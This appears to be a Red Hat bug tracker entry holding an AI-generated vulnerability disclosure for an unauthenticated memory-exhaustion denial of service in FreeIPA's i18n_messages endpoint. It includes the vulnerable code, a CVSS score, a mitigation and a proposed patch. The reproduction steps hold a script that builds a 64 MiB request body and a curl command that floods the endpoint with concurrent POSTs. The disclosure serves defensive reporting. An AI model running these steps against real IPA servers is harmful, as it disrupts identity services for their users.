Fedora Account System
Red Hat Associate
Red Hat Customer
AI_ONLY_REPORT package: ipa-4.13.1-3.el10 ------ Summary: Unauthenticated DoS in `/ipa/i18n_messages` via Unbounded Request Body Read: the public i18n endpoint reads attacker-controlled request bodies into memory without a size limit before rejecting invalid commands, allowing remote unauthenticated memory exhaustion and service degradation. Requirements to exploit: Network reachability to `/ipa/i18n_messages` and the ability to send large POST bodies. Authentication is not required. Exploitability and impact are reduced if Apache, mod_wsgi, or an upstream proxy already enforces a strict request-body limit. Component affected: `ipa-4.13.1-3.el10` in `ipaserver/rpcserver.py` (`read_input()`, `jsonserver_i18n_messages._call_()`), with public exposure from `install/share/ipa.conf.template` Version affected: `ipa-4.13.1-3.el10` Patch available: no released package fix established; proposed patch included below Version fixed: unknown Upstream coordination: Not notified. CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - 7.5 (HIGH) AV:N - The vulnerable endpoint is exposed over HTTPS and is reachable remotely. AC:L - The attack only requires oversized POST requests; no special timing, race, or bypass is needed. PR:N - The shipped Apache configuration grants unauthenticated access to `/ipa/i18n_messages`. UI:N - No user interaction is required. S:U - The impact is confined to the same service scope. C:N - No confidentiality impact is established by the available evidence. I:N - No integrity impact is established by the available evidence. A:H - Large or concurrent requests can drive substantial memory growth, worker churn, and potential service unavailability. Impact: Important. This is a remote, unauthenticated denial-of-service condition on a shipped public endpoint. That aligns with Red Hat's Important rating for flaws that allow remote users to cause denial of service. Critical is not appropriate because there is no evidence of code execution, privilege escalation, or confidentiality/integrity impact. Deployments that already enforce request-body limits may see reduced impact, but that mitigation is not shown in the provided package configuration. Embargo: yes Reason: The issue is remotely reachable without authentication on a default public IPA endpoint and can be exercised with commodity tools to disrupt service availability before a fix or mitigation guidance is deployed. Acknowledgement: Aisle Research Vulnerability Details: The request body helper trusts `CONTENT_LENGTH` and reads that many bytes from `wsgi.input` without a size cap: ```python def read_input(environ): """ Read the request body from environ['wsgi.input']. """ try: length = int(environ.get('CONTENT_LENGTH')) except (ValueError, TypeError): return None return environ['wsgi.input'].read(length).decode('utf-8') ``` The unauthenticated i18n endpoint performs this read before it verifies that the RPC method is actually `i18n_messages`: ```python def _call_(self, environ, start_response): logger.debug('WSGI jsonserver_i18n_messages._call_:') if environ['REQUEST_METHOD'] != 'POST': return self.not_allowed(start_response) data = read_input(environ) unmarshal_data = super(jsonserver_i18n_messages, self ).unmarshal(data) name = unmarshal_data[0] if unmarshal_data else '' if name != 'i18n_messages': return self.forbidden(start_response) environ['wsgi.input'] = BytesIO(data.encode('utf-8')) response = super(jsonserver_i18n_messages, self )._call_(environ, start_response) return response ``` The shipped Apache template exposes this path without authentication: ```apache <Location "/ipa/i18n_messages"> Require all granted </Location> ``` As a result, a remote client can force the service to allocate memory for arbitrarily large request bodies before command validation occurs. When the method name passes validation, the body is encoded again into `BytesIO`, which can add another in-memory copy. The available package configuration does not show a `LimitRequestBody` or similar request-body cap for IPA endpoints. The demonstrated impact is denial of service through memory pressure, degraded responsiveness, worker churn, and possible OOM conditions under sustained load. No confidentiality or integrity impact is established from the available evidence. Steps to reproduce: 1. Deploy `ipa-4.13.1-3.el10` with the shipped Apache configuration that exposes `/ipa/i18n_messages`. 2. Generate a large JSON request body, for example a 64 MiB `method` field: ```bash python3 - <<'PY' import json s = "A" * (64 * 1024 * 1024) obj = {"method": s, "params":[[], {"version":"2.0"}], "id": 1} open("/tmp/ipa-big.json", "w").write(json.dumps(obj)) PY ``` 3. Send an unauthenticated POST request to the public endpoint: ```bash curl -k -sS -o /dev/null -X POST \ -H 'Content-Type: application/json' \ --data-binary @/tmp/ipa-big.json \ https://<ipa-host>/ipa/i18n_messages ``` 4. Repeat the request concurrently, for example with 10-50 workers, while monitoring `httpd` or mod_wsgi RSS with tools such as `ps`, `top`, or `smem`. 5. Observe memory growth and service degradation, including slow responses, worker churn or restarts, and possible OOM under sustained pressure. Mitigation: Until a code fix is available, enforce a request-body limit for `/ipa/i18n_messages` or `/ipa/*` using Apache `LimitRequestBody`, and apply an equivalent body-size limit in any reverse proxy or load balancer in front of IPA. This reduces or blocks oversized requests before they are read into the WSGI process. Proposed Fix: Add a hard request-body cap in `read_input()` and return HTTP 413 from `jsonserver_i18n_messages` when the body is too large. ```diff diff --git a/ipaserver/rpcserver.py b/ipaserver/rpcserver.py @@ +MAX_REQUEST_BODY_SIZE = 1024 * 1024 # 1 MiB + def read_input(environ): """ Read the request body from environ['wsgi.input']. """ try: length = int(environ.get('CONTENT_LENGTH')) except (ValueError, TypeError): return None + if length < 0 or length > MAX_REQUEST_BODY_SIZE: + return None return environ['wsgi.input'].read(length).decode('utf-8') @@ class jsonserver_i18n_messages(jsonserver): def _call_(self, environ, start_response): logger.debug('WSGI jsonserver_i18n_messages._call_:') if environ['REQUEST_METHOD'] != 'POST': return self.not_allowed(start_response) data = read_input(environ) + if data is None: + start_response('413 Payload Too Large', + [('Content-Type', 'text/plain; charset=utf-8')]) + return [b'Request body too large'] unmarshal_data = super(jsonserver_i18n_messages, self ).unmarshal(data) ``` ------ This report was generated using AI technology. Always review AI-generated content prior to use
Tracker filed for rhel-10.3: https://issues.redhat.com/browse/RHEL-188995